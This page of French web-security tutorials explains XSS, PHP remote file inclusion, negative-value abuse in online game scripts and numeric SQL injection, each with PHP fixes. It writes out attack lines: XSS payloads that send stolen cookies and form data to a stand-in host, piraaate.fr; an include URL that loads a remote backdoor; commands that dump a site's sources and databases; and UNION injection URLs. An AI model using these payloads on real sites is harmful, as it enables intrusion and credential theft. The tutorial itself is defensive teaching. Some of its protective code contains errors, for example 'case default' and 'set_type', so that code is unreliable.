SecureM

Aller au contenu | Aller au menu | Aller à la recherche

Les Failles XSS

Peut-être avez-vous déjà entendu parler de ces failles, peut-être pas.
Description d'une faille qui peut causer pas mal de soucis...



Description :
Les failles XSS pour Cross Site Scripting sont des failles intervenant niveau client. Le nom est XSS et non CSS car ce dernier est déjà un langage de mise en page web.
Il existe plusieurs niveaux d'actions pour le XSS, mais nous allons voir cela tout de suite.
Le XSS consiste en l'injection d'un code HTML (côté client) non désiré, le plus souvent du JavaScript.

Fonctionnement :
Le premier niveau de XSS ("basé sur Dom" et "non permanent") est d'application très locale, et peu efficace: il s'agit d'injecter du HTML via une requête GET ou POST:
Mais comme un exemple parle mieux, reprenons notre cher http://pigeon.net/ et dotons le d'une page erreur.php qui permet d'afficher n'importe quel message d'erreur:
<?php
// En-tête des pages et autres fichiers requis
include'includes/header.inc.php';

// Récupération du message d'erreur
if(empty($_GET['erreur'])){
$message = 'Erreur inconnue ! Veuillez prévenir un administrateur';
signalerreur('Erreur inconnue sur la page d\'erreur !');
}
else{
$message = urldecode($_GET['erreur']);
signalerreur($_GET['erreur'] . ' pour le client '.adresse_IP());
}
echo"<h1>$message</h1>";

?>
Maintenant, certaines pages redirigeront vers alert.php?erreur=Vous devez être connecté ! par exemple.
Vous constatez que le paramètre transmis n'est jamais vérifié. Vous pouvez donc appeler alert.php?erreur=Erreur ?</h1><br/><h2>Non, juste moi !</h2>
Hé oui, une page de personnalisée :P Bon, si on passait aux choses sérieuses ? Voici un exemple de code que l'on pourrait transmettre:
<script>alert('Muhahahahahaha !!');</script>
Et vous comprenez ce qui se passe...
On peut aussi trouver ce genre de faille sur des moteurs de recherche (non, c'est même pas la peine d'essayer sur Google...), et sur toutes les pages qui se serve d'un paramètre transmis par le client pour générer et afficher du HTML.
Le second niveau (ou "permanent") est nettement plus dangereux: il permet en effet la même chose que le premier mais sur un horizon beaucoup plus large !
Il s'agit de pages qui stocke des informations non traitées pour les afficher ensuite... comme par exemple un module de news ou de livre d'or: si on dépose un commentaire contenant du HTML, il sera exécuté par TOUS les clients affichant la page ! C'est là la grosse différence entre les deux niveaux.

Enjeux :
Les failles de niveau 1 sont exploitables uniquement par ingénierie sociale, c'est-à-dire de demander à quelqu'un de cliquer sur un lien; mais à part ça elles ne sont pas si différentes du niveau 2.
C'est bien beau, mais qu'est-ce qu'on peut en tirer, de ce code HTML ?
Eh bien comme je l'ai déjà dit, c'est souvent du JavaScript qui est utilisé. Et ses possibilités sont les suivantes:
  • Utilisation des cookies du site en question: si le codeur a eu la mauvaise idée de créer un cookie contenant la paire login/pass, alors on pourra le lire et le sauvegarder sur un serveur auxiliaire. (voir "Envoi")
  • Modification de la page courante: un petit form.action="http://piraaate.fr/capture.php" sur le formulaire de connexion ? Très intéressant.
  • Execution de commandes: par l'appel d'URLs clés, par exemple http://pigeon.net/admin/newadmin.php avec pour arguments POST des données telles que nom=Pirate&passe=blopblip. Très critique, surtout que l'on usurpe la session du malheureux client, et ce qui va avec c'est-à-dire de son identification s'il est connecté !
  • Affichage de alert() en folie: un grand nombre de alert() se suivant sans laisser à l'utilisateur le temps de fermer la page. Très idiot.
  • Collecte d'informations à propos des utilisateurs. Très inutile.
  • Vous voyez, les possibilités sont (presque) infinies !
Note sur l'envoi : Plusieurs méthodes existent pour transférer des données:
  • document.write("<iframe src='http://piraate.fr/stocke.php?donnees="+donneesrecoltees+"' style='display:none;'></iframe>")
  • document.write("<img src="http://piraaate.fr/stocke.php?infos='"+donneesrecoltees+"' style='display: none;' />")
  • document.write('<form action="http://piraaate.fr/stocke.php" method="get ou post"><input name="infos" value="'+donneesrecoltees+'" type="hidden" /></form>');
    avec un redirection immédiate sur la page de départ après le stockage
  • Et plein d'autres encore (je n'ai pas parlé du XHTTPREQUEST...)
Vous avez donc vu que l'on pouvait faire pas mal de dégâts voire même prendre le contrôle du site en exploitant une telle faille.

Contournement :
Pour sécuriser vos pages, voici quelques fonctions PHP:
  • htmlspecialchars() qui convertit les tags, & ' et " si j'ai bon souvenir.
  • htmlentities() qui convertit en plus les accents en entités HTML (plus de problèmes d'encodage !).
  • strip_tags() qui supprime les tags HTML ou PHP.
Personnellement je couple généralement les deux dernières méthodes.


J'ai l'impression que j'ai fait le tour du sujet, si vous avez une question n'hésitez pas à poster un commentaire.

La "faille Include"

Vous avez peut-être déjà entendu parler de cette fameuse "faille Include", mais savez-vous exactement ce qu'il en est ? Êtes-vous bien protégé ?

Introduction


Cette faille est à ce jour heureusement absente sur la majorité des sites.
Cependant, quelques webmasters n'ont pas corrigé cette faille, et d'autres n'en ont pas conscience.

Mode de fonctionnement


Cette faille se situe dans la structure du site, plus précisément sur certains type d'architectures, où un morceau de code est chargé d'afficher dynamiquement la page demandée. Ainsi l'utilisateur suivant le lien http://www.securem.eu/index.php?page=accueil.php verra une page qui sera en réalité http://www.securem.eu/accueil.php
<?php
// On peut imaginer qu'ici se trouvera le code commun à toutes les pages :
// Structure XHTML (header, etc...) ainsi que des inclusions aux fichiers tels que header.inc.php (qui contient les fonctions pour le site)

$page = $_GET['page'];// Récupération du nom de la page demandée
include($page);// Inclusion sur la page

// Ici le footer
?>
Niveau fonctionnel, tout est censé bien marcher: un appel à http://www.securem.eu/index.php?page=accueil affiche bien la page pages/accueil.php.

Cependant, que se passe-t-il si une personne mal intentionnée appelle " http://www.securem.eu/index.php?page= " par exemple ?
Si la configuration le permet, une erreur sera affichée:
Warning: include() [function.main]: failed to open stream: No such file or directory in index.php on line 2
En effet, on essaie d'appeler une page qui n'existe pas.
Et ensuite ? Qu'est-ce que ça change qu'un hacker obtienne cette erreur ? C'est pas grave, elle est pas si redoutable cette faille include !
Ooh ! Comment pouvez-vous dire ça !?
Cette faille ne permet pas qu'obtenir ce message (qui nous donne des informations sur la structure du site: il y a un dossier /pages contenant des morceaux de code à afficher...
Maintenant, que se passe-t-il si j'appelle http://www.securem.eu/index.php?page=../.htpasswd ?
Alors, vous commencez à comprendre ? Eh oui, le htaccess sera affiché en clair !
Je suis en effet remonté dans le dossier parent grâce à ../ et j'ai inclus le fichier .htpasswd, qui contient, je le rappelle, les mots de passe des dossiers sécurisés par un .htaccess.
Note: Le .htpasswd ne s'appelle pas forcément ainsi et n'est pas toujours situé à la racine du site !
Vous comprenez l'ampleur de cette faille ? Pas encore je crois. Alors imaginez ça:
http://www.securem.eu/index.php?page=http://piraaate.fr/backdoor.php
Que va-t-il se passer ? La page backdoor.php sera incluse et... exécutée ! Ainsi, un pirate peut exécuter son propre code sur VOTRE serveur !
Avec un peu d'imagination et grâce à certaines fonctions PHP, on peut voir l'arborescence de votre site, visualiser le fichier de configuration et obtenir ainsi un accès libre et direct à la base de données. Le pirate peut donc contrôler totalement votre site !
Note: il faut que le serveur piraaate.fr n'exécute pas le code PHP, ou bien l'affiche sans l'exécuter, sinon il sera exécuter sur ce serveur et non sur le serveur cible. De plus, les dernières versions de PHP empêchent l'inclusion d'un fichier sur un serveur distant.
Via la fonction system($commande), il peut par exemple obtenir un accès en ligne de commande par l'utilisateur faisant tourner le serveur PHP (www-data généralement).

A partir de là, on peut récupérer les sources du site:
tar -c archive.tar ./* > archive.tar
 Ce qui créera un fichier compressé contenant l'ensemble des fichiers contenus dans le dossier courant. Vous n'aurez alors plus qu'à placer cette archive dans un dossier public (htdocs, enfin l'emplacement du site public quoi...) et à la télécharger.
On peut aussi récupérer l'intégralité de la base de données :
mysqldump --all-databases > sauv_BDD.sql

Et télécharger le fichier obtenu de la même manière. (Il faudra souvent donner les identifiants pour pouvoir se connecter au serveur MySQL, récupérés dans le fichier config du site)
Et même si les mots de passe sont cryptés dans la base de données, vous pouvez les récupérer en modifiant le fichier de connexion: rajoutez simplement un appel à la fonction mail() et vous pourrez récupérer chaque identifiant !

Vous comprenez donc qu'avec la totalité de vos sources et le contenu des bases de données (y compris mots de passe et adresses courriel) le pirate tient votre site en sa possession. Donc ne me dite plus jamais que cette faille ne sert qu'à afficher un message d'erreur ! ^^
D'où l'importance de protéger votre site de cette faille.

Protection

Comment se protéger de cette faille ?
Tout simplement en ne chargeant jamais un fichier selon le bon vouloir de l'utilisateur.
Vous pouvez utiliser quelque chose comme :
<?php

$page = $_POST['page']; // Récupération de la page

switch($page){ // Suivant la page demandée...
case 'accueil': $adresse = 'pages/accueil.php'; break;
case 'connexion': $adresse = 'pages/connecte.php'; break;
case 'forum': $adresse = 'forum/'; break;
case 'contact': $adresse = 'pages/contact.php'; break;
case default: $adresse = 'pages/erreur404.php';// Page non trouvée
}

include $adresse; // Et on inclus la page réelle
?>
Veillez aussi à régler votre php.ini pour que allow_url_fopen soit sur off.

J'attire votre attention sur le fait qu'un include("/pages/$page.php"); dans lequel on rajoute un préfixe et un suffixe permet aussi de se protéger, les URLs devenant index.php?page=accueil. Mais la faille include est encore présente : cette solution empêche juste les inclusions distantes (ajout d'un préfixe à l'URL) et limite les inclusions à des fichiers se terminant par .php. Mais si le pirate parvient à injecter du code arbitraire dans un fichier portant cette extension, il pourra quand même exécuter son code ! A la rigueur, le fait de donner une extension particulière à vos pages de contenu, comme .page, bloquera tout attaquant, évidemment à la condition que seules ces pages portent une telle extension et qu'il ne soit pas possible pour un utilisateur d'en modifier le contenu.

J'espère que ceci vous aura été utile, n'hésitez pas à laisser un commentaire si cet article vous a aidé ! :D

Les nombres, ou ce que j'appelle être un bidouilleur malicieux

Dans quasiment tous les jeux, et un certain nombre de site, vous êtes parfois amenés à remplir des formulaire avec un valeur numérique:
  • "Envoyer des ressources" dans les jeux
  • "Voter: (+1) (+2)" dans certains sites
  • Et bien d'autres si vous réfléchissez un peu
Mais bon, avec cette constatation, on n'ira pas très loin ;)
Ce qu'il faut savoir, c'est que les scripts PHP qui gèrent ces formulaires ne sont pas toujours assez sécurisés :
  1. Si on ne vérifie pas qu'on a affaire à un chiffre, les injections SQL par IDs numériques sont possibles...
  2. Mais même si on vérifie bien le type envoyé, il existe une autre "faille"...

Les nombres négatifs
Dans cette faille réside une source de pouvoir infini dans les jeux en ligne.
Prenons l'exemple le plus répandu: l'envoi de ressources.
On imagine donc quelque chose du genre:
<?php

$nb_a_envoyer = $_POST['nb_a_envoyer'];// On récupère le nombre de ressources à envoyer
settype($nb_a_envoyer,'int');// On protège les données: valeur numérique seulement

// On enlève les ressources de chez l'expéditeur
changeressources('or',(-$nb_a_envoyer));// Fonction très simple pour augmenter/diminuer le nombre de ressources en fonction du type de ressource et de la valeur

/* On appelle maintenant la fonction
qui va envoyer des "transporteurs"
avec les ressources à envoyer à la cible
*/
settype($_POST['ID_pour'],'int');// On protège les données: valeur numérique seulement
envoie_transporteurs($ID_de,$_POST['ID_pour'],$nb_a_envoyer);

echo"Ressources envoyées: $nb_a_envoyer à destination du joueur numéro {$_POST['ID_pour']}.";

?>
Je tiens à préciser que cet exemple est extrêmement simpliste, et mériterait un certain nombre d'améliorations...
Ce script est donc "censé" envoyer un certain nombre de pièces d'or à un autre joueur.

Maintenant, si on est un bidouilleur malicieux, que se passe-t-il si on insère une valeur numérique négative pour le nombre de pièces d'or à envoyer ?
<?php

$nb_a_envoyer = -100;
settype($nb_a_envoyer,'int');// -100 est bien une valeur numérique

// On "enlève" les ressources de chez l'expéditeur
changeressources('or',(-$nb_a_envoyer));// Le mot "enlever ne convient pas, car - (-100)... vaut +100.

envoie_transporteurs($ID_de,$_POST['ID_pour'],$nb_a_envoyer);// On "envoie" -100 pièces d'or...

echo"Ressources envoyées: -100 à destination du joueur numéro {$_POST['ID_pour']}.";

?>
On a donc comme changements:
  • Le joueur qui envoie gagne 100 pièces d'or en envoyant les transporteurs
  • Le destinataires recevra -100: il verra donc son nombre de pièces diminuer !

Pour peu que le joueur malicieux ai créé un autre compte "jetable", il peut très facilement y envoyer des quantités infinies de ressources...
Le compte jetable se retrouvera avec un nombre total de pièces à -10000000000. Le joueur malicieux n'a plus qu'à supprimer ce compte, et il se sera mis dans les poches 10 milliards de pièces d'or !


Protection :
<?php
if($nb_a_envoyer <= 0){
echo'Trop peu de ressources ;)';
return false;
}
else{
// Code à exécuter
}
?>

Quant aux autres exemples (compteur de votes), vous avez sûrement compris que l'on peut mettre une valeur négative, mais on aurait aussi intérêt à augmenter les nombre de points (ex.: +100 au lieu de +2, maximum autorisé par personne).
Mais pour cela, il faut modifier temporairement le code de la page, et ça c'est une autre histoire...

Une autre source possible d'injection SQL: les IDs transmises et les valeurs numériques

Bien souvent, des sites présentent des failles SQL - du fait que les webmestres n'ont pas été sensibilisés à cela. Mais un rempart s'élève quand même: la configuration du serveur. Il suffit que les "Guillemets magiques" (magic quotes) aient été activés dans le php.ini, pour que toutes les chaînes de caractères transmises soient échappées - ce qui rend les injections théoriquement impossibles. Cependant cette option, très souvent activée, ne représente pas une protection efficace: En effet cette fonction présente une faille, elle n'échappe pas les valeurs numériques (normal, vous me direz puisque ' n'est pas un nombre). Ou plutôt, elle remplace lorsque la requête a cette forme par exemple WHERE `adresse`="$adresse" mais pas WHERE `age`=$age (du moins c'est ce que j'ai cru voir). Ainsi en modifiant - le plus souvent - une valeur de l'URL, par exemple
http://pigeon.fr/profil.php?id=5
http://pigeon.fr/profil.php?id=5 or 1=1
Si aucune protection n'a été mise en place, alors la liste de tous les profils devrait s'afficher (imaginez le SELECT [...] FROM `comptes` WHERE `id`=$id). A l'aide d'une formulation en UNION on peut ainsi afficher la liste des mots de passe - cryptés si l'admin a été intelligent. Un article arrivera bientôt sur le crack de MD5... Seul inconvénient: si on essaye de mettre des ' alors ils devraient être slashés (si j'ai bonne mémoire ;) ). On peut facilement y remédier avec la fonction char() qui renvoie un caractère à l'aide de son code ascii. Ainsi ceci permettra de trouver les lettres d'un pass. Peut-être vous ferais-je un petit script qui exploite ces failles en cherchant plus intelligemment et automatiquement.
http://pigeon.fr/profil.php?id=5 union select id,pseudo,pass,date where pass=char(65,65,65)
La valeur numérique peut aussi venir d'un champ d'un formulaire (hidden par exemple). Ainsi en envoyant une valeur malicieuse à partir d'un formulaire on peut obtenir le même résultat. Pour y remédier, c'est simple: Il suffit de forcer la valeur à être un nombre avec la fonction set_type('int',$i) de PHP. Vous pouvez aussi essayer de tester si la valeur est bien numérique avec is_numeric($i) dans le but de repérer les tentatives d'intrusion.